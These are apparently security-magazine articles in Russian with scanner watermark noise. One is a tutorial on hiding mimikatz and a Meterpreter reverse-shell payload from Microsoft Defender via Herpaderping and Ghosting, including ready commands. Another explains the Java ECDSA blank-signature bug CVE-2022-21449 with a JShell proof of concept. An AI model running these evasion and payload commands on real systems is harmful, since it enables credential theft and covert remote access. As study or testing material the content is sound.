Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
12.37 Mб
Скачать

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ИЗУЧАЕМ ДВА НОВЫХ СПОСОБА СКРЫВАТЬ ПРОЦЕССЫ

ОТ АНТИВИРУСОВ

be_a_saint

T.Hunter hacker's teamlead alexandr.khudozhilov@icloud.c om

Избежать­ обнаруже­ ния­ полезной­ нагрузки­ антивиру­ сами­ — важней­ шая­ задача не только­ вирусописа­ телей­ , но и пен ­ тестеров­ и участни­ ков­ red team. Для этого­ существу­ ют­ раз ­ личные техники­ . Сегодня­ мы подробно­ рассмот­ рим­ две из них: Herpaderping и Ghosting. О двух других­ методиках­ — Hollowing и Doppelgänging — можно­ почитать в статье «Мас ­

кируем­ запуск процес­ сов­ при помощи Process Doppelgänging».

Для простоты­ в наших эксперимен­ тах­ мы будем использовать­ Microsoft Defender и Mimikatz.

 

Статья имеет­ ознакоми­

тель­

ный­

характер­ и пред ­

 

назначена­

для

специалис­

тов­

по безопасности­

,

 

проводя­

щих­

тестирова­

ние­

 

в

рамках­

контрак­

та­ .

 

Автор и

редакция­

не несут

 

ответствен­

ности­

 

за любой вред, причинен­

ный­

 

с примене­

нием­

 

изложен­ ной­

информации­ . Распростра­

нение­

 

вре ­

 

доносных­

программ­

, нарушение­

работы систем­

 

и нарушение­

тайны­

переписки­ преследу­

ются­

 

по закону.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ОСОБЕННОСТИ ПРОЦЕССОВ

Как антивирус­ узнает­ , что в системе­ был запущен какой либо процесс­ ? Microsoft дает возможность­ разработ­ чикам­ антивирус­ ных­ решений получать через API нужные­ им события (например­ ,

PsSetCreateProcessNotifyRoutineEx). Когда­ создает­ ­ся процесс­ , Microsoft Defender (да и все остальные­ антивиру­ ­сы) сразу­ узнает­ об этом, получив соответс­ ­тву­ющий callback. Теперь то он может проинспек­ ­тировать исполня ­ емый файл и сделать­ вывод, разрешить­ этот процесс­ или нет (опустим­ этап статичес­ ­кого анализа­ ).

Вся штука­ в том, что уведом­ ление­ CreateProcessNotify— ни разу не про создание­ процес­ са­ . Callback полетит тогда­ , когда­ внутри­ этого­ процес­ са­ воз ­ никнет первый­ поток (thread). Между­ моментами­ , когда­ процесс­ был создан­

и когда­ антивирус­ ­ное решение об этом узнало­ , образует­ ­ся промежу­ ­ток. Это самое время­ злоумыш­ ­ленни­ки творчески­ используют­ для своих­ целей.

Важно понимать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Исполня­

емый­

файл — это не процесс­

. Исполняемый­

файл может быть связан­

со множес­ твом­

 

процес­ сов­ (в Task Manager можно­ легко­ проследить­

, сколько­

процес­ сов­ связано­

, например­

, с RuntimeBroker.exe или svchost.exe). Каж ­

дый процесс­

обязатель­

но­ будет связан­ с каким либо PE-файлом­

(.exe, .dll

и другие­ ). При этом процес­ сы­

предос­ тавля­

ют­

 

 

 

ресурсы­ ,

необходимые­

для выполнения­

программы­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Процесс­

 

содержит­

 

виртуаль­

ное­

адресное пространс­

тво­ , исполняемый­

код, открытые­ дескрип­

торы­

для системных­

объектов­

, контекст­

безопасности­

,

уникаль­

ный­

идентифика­

тор­ процес­ са­ , переменные­

среды­ , класс приори­ тета­ ,

минимальный­

и максималь­

ный­

размеры­

рабочего­ множес­ тва­ и по крайней­

мере один поток выполнения­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Поток­ — это базовая единица­

, в которой операци­

онная­

система­

выделяет­

процес­ сорное­

время­ . Поток может выполнять­

любую часть кода процес­ са­ ,

включая­ части­ , которые в данный­

момент выполняют­

ся­ другим­ потоком.

 

Создание процесса

Рассмот­ ­рим создание­ процес­ ­са по шагам.

1.Сначала­ мы получаем­ дескрип­ ­тор (handle) для исполняемо­ ­го файла­ , который запускаем­ , например­ так: hFile = CreateFile(“C:\ Windows\System32\svchost.exe”).

2.Создаем­ image section (например­ , hSection = NtCreateSection( hFile, SEC_IMAGE)). Image section представ­ ­ляет собой особый­ раздел­

и служит­ для отображения­ файла­ (или части­ файла­ ) в память. Раздел­ соот ­ ветству­ ­ет PE-файлам­ и может быть создан­ только­ в них.

3.Создаем­ процесс­ в image section (например­ , hProcess = NtCreateProcessEx(hSection)).

4.Назнача­ ­ем аргумен­ ­ты и переменные­ среды­ (например­ ,

CreateEnvironmentBlock/NtWriteVirtualMemory).

5.Создаем­ поток для выполнения­ процес­ ­са (например­ ,

NtCreateThreadEx).

Важный­

момент: процес­ сы­

запускают­

ся­

из исполняемых­

файлов­ ,

но информация­ внутри­ исполняемо­ го­ файла­ может меняться­ относитель­

ного­

того, что находится­ в image section (так как она кешируется­

memory manager).

Сканирование процесса в поисках зловреда

Как уже было сказано­ , антивиру­ ­сы могут получать уведом­ ­ления о событиях­ создания­ процес­ ­сов и потоков (PsSetCreateProcessNotifyRoutineEx и PsSetCreateThreadNotifyRoutineEx).

Выглядит­ это пример­ но­ так:

typedef struct _PS_CREATE_NOTIFY_INFO {

SIZE_T Size;

union {

ULONG Flags;

struct {

ULONG FileOpenNameAvailable : 1;

ULONG IsSubsystemProcess : 1;

ULONG Reserved : 30;

};

};

HANDLE ParentProcessId;

CLIENT_ID CreatingThreadId;

struct _FILE_OBJECT *FileObject;

PCUNICODE_STRING ImageFileName;

PCUNICODE_STRING CommandLine;

NTSTATUS CreationStatus;

} PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO;

Из интерес­ ­ного: FILE_OBJECT соответс­ тву­ ет­ дескрип­ тору­ NtCreateSection. Если же мы взглянем­ на API NtCreateProcess, то увидим­ там тоже дескрип­ ­ тор раздела­ , а не файла­ .

NTSYSCALLAPI

NTSTATUS

NTAPI

NtCreateProcess(

_Out_ PHANDLE ProcessHandle,

_In_ ACCESS_MASK DesiredAccess,

_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,

_In_ HANDLE ParentProcess,

_In_ BOOLEAN InheritObjectTable,

_In_opt_ HANDLE SectionHandle,

_In_opt_ HANDLE DebugPort,

_In_opt_ HANDLE ExceptionPort

);

ОТЛИЧИЯ ДВУХ ТЕХНИК

Для простоты­ я свел отличия­ описыва­ ­емых в статье техник­ в таблицу­ .

Техника­

Действия­

 

 

Hollowing

map → modify section → execute

 

 

Doppelgängin

transact → write → map → rollback → execute

g

 

 

 

Herpaderping

write → map → modify → execute → close

 

 

Ghosting

delete pending → write → map → close(delete) → execute

 

 

HERPADERPING

Нам потребу­ ­ется mimikatz.exe, целевой исполняемый­ файл (тут можно­ ука ­ зывать что угодно­ , у нас это будет hack.exe) и любой файл, не вызывающий­ подозрений­ у антивирус­ ­ных программ­ . Разберем­ методику­ Herpaderping по шагам.

1.Write. Создаем­ и открываем­ hack.exe, копируем­ в него mimikatz.exe, дескрип­ ­тор не закрыва­ ­ем.

2.Map. Создаем­ image section и мапим содержимое­ в память.

3.Modify. Создаем­ процесс­ с дескрип­ ­тором ранее созданно­ ­го раздела­ . После­ этого­ меняем­ содержимое­ файла­ hack.exe, копируя туда что нибудь легитимное­ . Помнишь­ важный­ момент из раздела­ про соз ­ дание процес­ ­са? Так вот это он и есть: с этого­ момента­ то, что у нас в памяти, и то, что хранит­ ­ся в файле­ , отличает­ ­ся.

4.Execute. Создаем­ initial thread. Только­ сейчас­ антивиру­ ­су летит process creation callback. Различие­ содержимого­ в файле­ и в памяти сводит­ с ума Defender, он не может понять, можно­ ли разрешать­ выполнение­ этого­ про ­ цесса­ .

5.Close. Закрыва­ ­ем открытый­ дескрип­ ­тор.

Herpaderping на практике

За всеми­ действи­ ями­ будет наблюдать­ полностью­ обновленный­ Microsoft Defender. Естествен­ но­ , если дропнуть­ на диск Mimikatz или пейлоад­

из MSFvenom в «чистом­ » виде, он тут же будет обнаружен­ антивиру­ ­сом. Нам нужно­ обойти­ статичес­ ­кий анализ­ , но этот этап мы сейчас­ рассмат­ ­ривать не будем.

Defender

Копиру­ ем­ проект­ из GitHub и собираем­ его.

git clone https://github.com/jxy-s/herpaderping.git

cd .\herpaderping\

git submodule update --init –recursive

Копиру­ ем­ проект­

Выпол­ няем­ команду­

ProcessHerpaderping.exe mimikatz.exe hack.exe lsass.exe

Выпол­ нение­ ProcessHerpaderping.exe

Как мы видим, все выполнилось­ успешно, Defender не среаги­ ровал­ . Давай взглянем­ , что покажет нам ProcessHacker.

ProcessHacker

У нас исполняется­ не mimikatz.exe, а hack.exe. А еще у нашего приложе­ ния­ hack.exe есть сертификат­ , выданный­ Microsoft.

У нашего приложе­ ния­ есть сертификат­

Ну а сам hack.exe спокой­ но­ лежит на рабочем столе­ .

Рабочий­ стол

Этот прием­ работает­ не только­ с Mimikatz: давай пробросим­ себе сессию­ Meterpreter. Для этого­ сгенери­ руем­ полезную­ нагрузку­ и запустим­ листенер­ .

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.197

LPORT=9001 -f exe > met.exe

Payload generation

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.1.197

set LPORT 9001

exploit

Выпол­ ним­ те же действия­ и глянем­ , прилете­ ла­ ли сессия­ .

Выпол­ нение­ met.exe

Получен­ ная­ сессия­

Ура, получилось­ !

GHOSTING

Для использования­ этого­ метода нам опять же потребу­ ­ется наш исходный файл (mimikatz.exe) и целевой исполняемый­ файл. В качестве­ такового­ можно­ указывать­ что угодно­ , у нас это будет уже привыч­ ­ный нам hack.exe. Как и в прошлый­ раз, разберем­ технологию­ по шагам.

1.Delete pending. Delete Pending — это состояние­ , при котором файл еще не удален­ , потому что дескрип­ ­тор на него открыт. Как только­ дескрип­ ­ тор закроет­ ­ся, файл удалит­ ­ся. Создаем­ файл и переводим­ в состояние­ delete-pending, используя­ NtSetInformationFile ( FileDispositionInformation). Использование­ FILE_DELETE_ON_CLOSE не удалит­ файл.

2.Write. Копируем­ наш исходный исполняемый­ файл в созданный­ файл. Содержимое­ не сохраня­ ­ется, так как файл находится­ в состоянии­ deletepending. Также­ это состояние­ блокиру­ ­ет попытки­ открыть файл извне.

3.Map. Создаем­ image section и мапим содержимое­ в память.

4.Сlose(delete). Закрыва­ ­ем дескрип­ ­тор, файл удаляет­ ­ся.

5.Execute. Создаем­ процесс­ с дескрип­ ­тором ранее созданно­ ­го раздела­ . Создаем­ initial thread. В этот момент антивиру­ ­су направля­ ­ется process creation callback, но файл уже удален­ . Попытка­ открыть его завершится­

с ошибкой­ STATUS_FILE_DELETED. Если попробовать­ открыть файл до того, как он будет удален­ , получишь ту же самую ошибку­ .

Ghosting на практике

Копиру­ ­ем проект­ и собираем­ . Либо качаем­ уже собранный­ проект­ из GitHub. Выпол­ ­няем команду­

proc_ghost64.exe mimikatz.exe hack.exe

Выпол­ нение­ proc_ghost64.exe

Как мы видим, снова­ все выполнилось­ успешно и Defender не среаги­ ровал­ . Теперь давай оценим­ информацию­ , которую предос­ тавит­ нам ProcessHacker.

ProcessHacker

Стоит­ обратить­ внимание­ на еще один инстру­ мент­ , который реализует­ дан ­ ную технику­ , — KingHamlet. Он также­ реализует­ возможнос­ ти­ криптования­ исходного­ пейлоада­ :

KingHamlet.exe mimikatz.exe key

KingHamlet

А process ghosting использует­ ся­ на следующем­ шаге:

KingHamlet.exe mimikatz.exe.khe key hack.exe

KingHamlet

KingHamlet также­ отработал­ успешно. В ProcessHacker мы увидим­ сле ­ дующее.

ProcessHacker после­ примене­ ния­ KingHamlet

ВЫВОДЫ

Поведе­ ­ние Microsoft по отношению­ к описан­ ­ным в этой статье методам не до конца­ понятно­ . То компания­ заявляет­ , что выпустила­ закрыва­ ­ющий патч, то

Microsoft Security Response Center (MSRC) неожидан­ но­ сообщает­ : проблема­

не соответс­ ­тву­ет критери­ ­ям, требующим­ выпустить­ обновление­ безопас ­ ности или инструк­ ­ции по предот­ ­вра­щению атак. Но как видим, пока эти механизмы­ работают­ без каких либо трудностей­ , главное­ — обойти­ статичес­ ­ кий анализ­ .

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

КРИТИЧЕСКАЯ УЯЗВИМОСТЬ

ВJAVA ПОЗВОЛЯЕТ ПОДДЕЛЫВАТЬ

ЭЛЕКТРОННЫЕ ПОДПИСИ И КЛЮЧИ

Валентин Холмогоров valentin@holmogorov.ru

Всех, кто использует­ относитель­ но­ новые версии­ Javaфреймвор­ ка­ Oracle, в минувшую­ среду­ ждал неприят­ ный­ сюрприз­ . Исследова­ тель­ из компании­ ForgeRock Нил Мэд ­ ден сообщил­ о критичес­ кой­ уязвимос­ ти­ в Java, которая поз ­ воляет­ злоумыш­ ленни­ кам­ легко­ подделывать­ сертифика­ ты­

иподписи­ TLS, сообщения­ двухфактор­ ­ной аутентифика­ ­ции

иучетные­ данные­ авториза­ ­ции. Эксперт опубликовал­ в сети подробное­ описание­ уязвимос­ ­ти, с основными­ тезисами­

которого­ мы сегодня­ хотим тебя познакомить­ .

Нил Мэдден­ обнаружил­ эту ошибку­ в OpenJDK еще 11 ноября­ 2021 года и сразу­ же сообщил­ о ней в Oracle. 18 ноября­ разработ­ чик­ подтвер­ дил­ наличие проблемы­ и пообещал­ добавить исправление­ в следующее­ кри ­ тическое­ обновление­ безопасности­ , которое вышло­ 19 апреля­ 2022 года.

Вэтот же день ForgeRock опубликовал­ отчет с описани­ ­ем уязвимос­ ­ти.

Впопулярном­ британ­ ­ском телесериале­ «Доктор­ Кто» есть повторя­ ­ющий­ся сюжет: главный­ герой с успехом­ выпутывает­ ­ся из различных­ неприят­ ­ностей, показывая­ окружающим­ совершенно­ пустой­ документ, изготов­ ­ленный из спе ­ циальной­ «психобу­ ­маги». Эта бумага заставля­ ­ет смотрящего­ на нее человека­ видеть то, что хочет продемонс­ ­три­ровать ему владелец­ артефак­ ­та: пропуск­ ,

удостовере­ ние­ полицейско­ го­ , судебный­ ордер или что то иное. Схожим­ образом­ работает­ уязвимость­ , обнаружен­ ная­ в несколь­ ких­ недавних­ выпус ­ ках Java, вернее­ , в механизме­ широко используемо­ го­ алгорит­ ма­ с открытым­ ключом­ для создания­ цифровых­ подписей­ ECDSA. Этой уязвимос­ ти­ , получив ­

шей обозначение­ CVE-2022-21449, подверже­ ны­ версии­ Java 15, 16, 17 и 18,

вышедшие­ до критичес­ ­кого обновления­ от апреля­ 2022 года. Кроме­ того, в официаль­ ­ном сообщении­ Oracle также­ упомина­ ­ются более старые­ версии­ Java, включая­ 7, 8 и 11. С другой­ стороны­ , в рекомен­ ­даци­ях OpenJDK перечислены­ только­ версии­ 15, 17 и 18, затронутые­ этой конкрет­ ­ной уяз ­ вимостью.

С использовани­ ­ем CVE-2022-21449 злоумыш­ ­ленни­ки могут легко­ подделать­ некоторые­ типы SSL-сертифика­ ­тов и SSL-рукопожатий­ , что, в свою очередь­ , позволя­ ­ет перехватывать­ и изменять­ сообщения­ . Кроме­ того, становит­ ­ся возможной­ подмена­ подписан­ ­ных JSON Web Tokens (JWT), данных­ SAML, токенов идентифика­ ­ции OIDC и даже сообщений­ аутентифика­ ­ции WebAuthn. Фактичес­ ­ки это и есть полный­ аналог­ киношной­ «психобу­ ­маги», только­ в электрон­ ­ной форме­ .

Серьезность­ этой проблемы­ трудно­ недооце­ ­нить. Если ты используешь­ подписи­ ECDSA для любого из перечисленных­ механизмов­ безопасности­ , а на сервере­ установ­ ­лена уязвимая­ версия­ Java, злоумыш­ ­ленник может без труда­ обойти­ эти механизмы­ . В реальнос­ ­ти почти­ все устройства­

WebAuthn/FIDO (включая­ Yubikeys) используют­ подписи­ ECDSA, а многие­ пос ­

тавщики­ OIDC — токены JWT, подписан­ ­ные тем же методом.

Oracle присвоила­ этому­ CVSS оценку­ 7,5 балла­ , посчитав­ , что уязвимость­ не оказыва­ ет­ серьезно­ го­ влияния­ на конфиден­ циаль­ ность­ или доступность­

данных­ , однако­ исследова­ ­тели из ForgeRock оценили­ проблему­ в 10 баллов­ из за широкого­ спектра­ воздей­ ­ствий на различные­ функции­ в контек­ ­сте управления­ доступом­ . Как же все таки работает­ уязвимость­ CVE-2022-21449? Чтобы­ разобрать­ ­ся, необходимо­ немного­ углубить­ ­ся в теорию.

ПОДПИСИ ECDSA

ECDSA расшифро­ выва­ ется­ как алгоритм­ цифровой­ подписи­ на эллиптичес­ ­

ких кривых­ (Elliptic Curve Digital Signature Algorithm) и широко использует­ ­ся в качестве­ стандарта­ для подписи­ всех видов цифровых­ документов­ . По срав ­ нению со старым­ стандартом­ RSA ключи­ и подписи­ на основе­ эллиптичес­ ­кой криптогра­ ­фии имеют­ намного­ меньшие­ размеры­ в байтах­ , но при этом обес ­ печивают­ эквивален­ ­тную безопасность­ , в результате­ чего они применя­ ­ются в тех случаях­ , когда­ размер­ имеет­ большое­ значение­ . Например­ , стандарт­ WebAuthn для двухфактор­ ­ной аутентифика­ ­ции позволя­ ­ет произво­ ­дите­лям устройств­ выбирать из широкого­ спектра­ алгорит­ мов­ создания­ подписи­ , но на практике­ почти­ все произве­ ден­ ные­ на сегодняшний­ день устройства­ поддержи­ вают­ только­ ECDSA (заметным­ исключени­ ем­ является­ разве­ что Windows Hello, которая использует­ RSA, предположи­ тель­ но­ для совмести­ мос­ ­ ти со старым­ оборудо­ вани­ ем­ TPM).

Не вдаваясь­ в техничес­ ­кие детали, можно­ сказать­ , что подпись­ ECDSA состоит­ из двух значений­ , называемых­ r и s. Чтобы­ проверить­ такую подпись­ , верификатор­ решает­ уравнение­ , включающее­ значения­ r, s, открытый­ ключ подписав­ ­шего и хеш сообщения­ . Если две части­ уравнения­ равны­ , подпись­ считает­ ­ся действи­ ­тель­ной, в против­ ­ном случае­ она отклоняет­ ­ся.

Одна­ часть уравнения­ должна­ быть равна­ r, а другая­ часть умножает­ ся­ на r и значение­ , полученное­ из s. Очевид­ но­ , было бы очень плохо­ , если бы r и s оказались­ равны­ 0, потому что тогда­ мы проверя­ ли­ бы равенство­ 0 = 0 [куча вещей], которое будет истинным независимо­ от значения­ «кучи вещей». Притом­ что эта самая «куча вещей» — важные­ данные­ , такие как сообщение­

и открытый­ ключ. Вот почему самая первая­ провер­ ­ка в алгорит­ ­ме ECDSA выполняет­ ­ся с целью удостоверить­ ­ся, что значения­ r и s >= 1.

Догадай­ ся­ , какую провер­ ку­ забыли в Java? Бинго­ : валидатор­ подписи­ ECDSA в Java не проверял­ , равны­ ли r или s нулю, поэтому­ ты при желании можешь создать­ подпись­ с нулевыми­ значени­ ями­ этих параметров­ . Тогда­ Java примет­ такую подпись­ для любого сообщения­ или публично­ го­ ключа­ как действи­ тель­ ную­ .

Вот интерак­ ­тивный сеанс JShell, показывающий­ реализацию­ этой уяз ­ вимости­ , — здесь использует­ ­ся абсолют­ ­но пустая­ подпись­ , которая при ­ нимается­ в качестве­ действи­ ­тель­ной:

|Welcome to JShell -- Version 17.0.10

| For an introduction type: /help intro0

jshell> import java.security.*

jshell> var keys = KeyPairGenerator.getInstance("EC").generateKeyPair

()

keys ==> java.security.KeyPair@626b2d4a0

jshell> var blankSignature = new byte[64]0

blankSignature ==> byte[64] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,

0, ... , 0, 0, 0, 0, 0, 0, 0, 0 }

jshell> var sig = Signature.getInstance(

"SHA256WithECDSAInP1363Format")

sig ==> Signature object: SHA256WithECDSAInP1363Format<not

initialized>0

jshell> sig.initVerify(keys.getPublic())

jshell> sig.update("Hello, World".getBytes())

jshell> sig.verify(blankSignature)

$8 ==> true

// Oops, that shouldn't have verified...

Квалифи­ катор­ InP1363Format упрощает­ демонстра­ цию­ ошибки­ . Подписи­

в формате­ ASN.1 DER могут использовать­ ся­ таким же образом­ : просто­ сна ­ чала нужно­ немного­ повозиться­ с кодировкой­ . Но обрати­ внимание­ , что JWT и другие­ стандарты­ применя­ ют­ необработан­ ный­ формат­ IEEE P1363.

НЕМНОГО ТЕХНИЧЕСКИХ ДЕТАЛЕЙ

Если­ не полениться­ и почитать в Википедии­ подробнос­ ти­ о принципах­ работы ECDSA, можно­ обнаружить­ , что правая­ часть уравнения­ умножает­ ся­ не на s,

а скорее­ на его обратный мультип­ ­ликатор: s -1. Если ты немного­ разбира­ ­ешь ­ ся в математике­ , ты можешь задаться­ вопросом­ : разве­ вычисление­ этого­ обратного­ результата­ не приведет­ к делению на ноль? Но в криптогра­ ­фии на основе­ эллиптичес­ ­ких кривых­ эта обратная величина­ вычисляет­ ­ся по модулю большого­ числа­ , n, а для кривых­ , обычно­ используемых­ в ECDSA, n является­ простым­ числом­ , поэтому­ мы можем использовать­ малую теорему­ Ферма­ для вычисления­ обратного­ модульного­ значения­ :

xn = x1 = x(mod n)

« x(n – 1)

= x 0 = 1(mod n)

 

 

 

»

 

 

 

 

x(n – 2)

= x –1(mod n)

 

 

 

 

 

Это очень эффективный­

метод, и именно­ его использует­

Java. Однако­

это справед­ ливо­

только­ в том случае­ , когда­ x не равен нулю, посколь­

ку­ у нуля

нет мультип­ ликатив­

ной­

инверсии. Когда­ x равен нулю, 0(n – 2) = 0: мусор

на входе­ , мусор на выходе.

 

 

 

 

 

Тот факт, что вычисления­

выполняют­

ся­ по модулю n, также­ причина­

удос ­

товериться­ , что значения­

r и s < n . Поэтому­ , если r и s = n при n =

0

(mod

n), мы получим тот же эффект, как если бы r и s были равны­ нулю.

Еще одна провер­ ­ка, которая могла­ бы спасти­ Java, — это провер­ ­ка того, что точка­ , вычисленная­ из r и s, не является­ «бесконеч­ ­но удален­ ­ной точкой­ ». Если r и s равны­ нулю, то результиру­ ­ющая точка­ фактичес­ ­ки будет точкой­

в бесконеч­ ности­ . Но, как ты уже, наверное­ , догадался­ , Java не выполняет­ и эту провер­ ку­ .

ПОЧЕМУ УЯЗВИМОСТЬ ОБНАРУЖИЛИ ТОЛЬКО СЕЙЧАС?

Широко­ известно­ , что Java уже давно­ поддержи­ вает­ ECDSA. Всегда­ ли реализация­ этого­ алгорит­ ма­ была уязвимой­ и почему о проблеме­ стало­ известно­ только­ сейчас­ ?

Иссле­ ­дова­тели из ForgeRock считают­ , что это относитель­ ­но недавняя­ ошибка­ , вызванная­ переписыва­ ­нием кода EC с нативного­ C++ на Java, что произош­ ­ло в версии­ Java 15. Хотя, по мнению­ специалис­ ­тов, эта переделка­ дает преиму­ ­щес­тва с точки­ зрения­ безопасности­ памяти, похоже, в ее реали ­ зации не участво­ ­вали эксперты­ в области криптогра­ ­фии. Исходная версия­ на C++ не содержит­ этих ошибок­ , но переписан­ ­ная реализация­ уже имеет­ уязвимость­ . Ни одна из отправив­ ­шихся в релиз версий­ Java, по видимому­ , не была полностью­ покрыта­ тестами­ , ведь даже самое беглое­ прочтение­ спе ­ цификации­ ECDSA предполага­ ­ет как минимум провер­ ­ку на предмет­ откло ­ нения недопустимых­ значений­ r и s. В общем, обнаружив­ ­шие уязвимость­ исследова­ ­тели не уверены­ , что в этом коде не скрывают­ ­ся и другие­ критичес­ ­ кие ошибки­ .

ЧТО ТЕПЕРЬ ДЕЛАТЬ?

Если­ ты используешь­ Java 15 или более позднюю­ версию­ , незамедлитель­ ­но обнови­ ее или установи­ критичес­ ­кий патч безопасности­ от Oracle.

Криптогра­ фичес­ кий­ код очень сложно­ реализовать­ правиль­ но­ , а алгорит­ мы подписи­ с открытым­ ключом­ —среди­ самых сложных­ . ECDSA сам по себе весьма­ ненадежный­ алгоритм­ , где даже­ небольшая­ погрешность­ в одном случай­ ном­ значении­ может позволить­ полностью­ восста­ новить­ твой закрытый­ ключ.

С другой­ стороны­ , теперь существу­ ют­ отличные ресурсы­ , такие как Project Wycheproof, которые предос­ тавля­ ют­ тестовые­ примеры­ для известных­ уяз ­ вимостей­ . После­ того как эксперты­ ForgeRock обнаружи­ ли­ эту ошибку­ , они обновили­ локальную­ копию Wycheproof для работы с Java 17 — и она сразу­ же обнаружи­ ла­ проблему­ . Хочется­ верить, что команда­ JDK сама начнет­ исполь ­ зовать набор тестов­ Wycheproof, чтобы­ в будущем подобные­ ошибки­ не попадали­ в паблик­ .

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

КАК ИСКАТЬ ОПЕРАНДЫ ПРИ ВЗЛОМЕ ПРОГРАММ

Крис Касперски

Известный российский хакер. Легенда ][, ex-

редактор ВЗЛОМа. Также известен под псевдонимами

мыщъх, nezumi (яп. , мышь), n2k, elraton, souriz, tikus, muss, farah, jardon, KPNC.

Юрий Язев

Широко известен под псевдонимом yurembo.

Программист, разработчик видеоигр, независимый исследователь. Старый автор журнала «Хакер». yazevsoft@gmail.com

Когда­ мы занимаемся­ анализом­ ломаемой­ программы­ , пытаясь­ восста­ ­новить алгоритм­ ее работы, нам нужно­ опре ­ делить типы операн­ ­дов ассемблер­ ­ных инструк­ ­ций. Для этого­ есть несколь­ ­ко простых­ правил­ . Между­ тем среди­ операн­ ­дов присутс­ ­тву­ют констан­ ­ты и смещения­ , которые внешне­ очень похожи, но в то же время­ сильно­ различа­ ­ются по способам­ и целям взаимо­ ­дей­ствия. Поэтому­ важно­ отделить­ одно

от другого­ , так как такие «игры» — один из главных­ инстру­ ­ ментов­ разработ­ ­чиков защит.

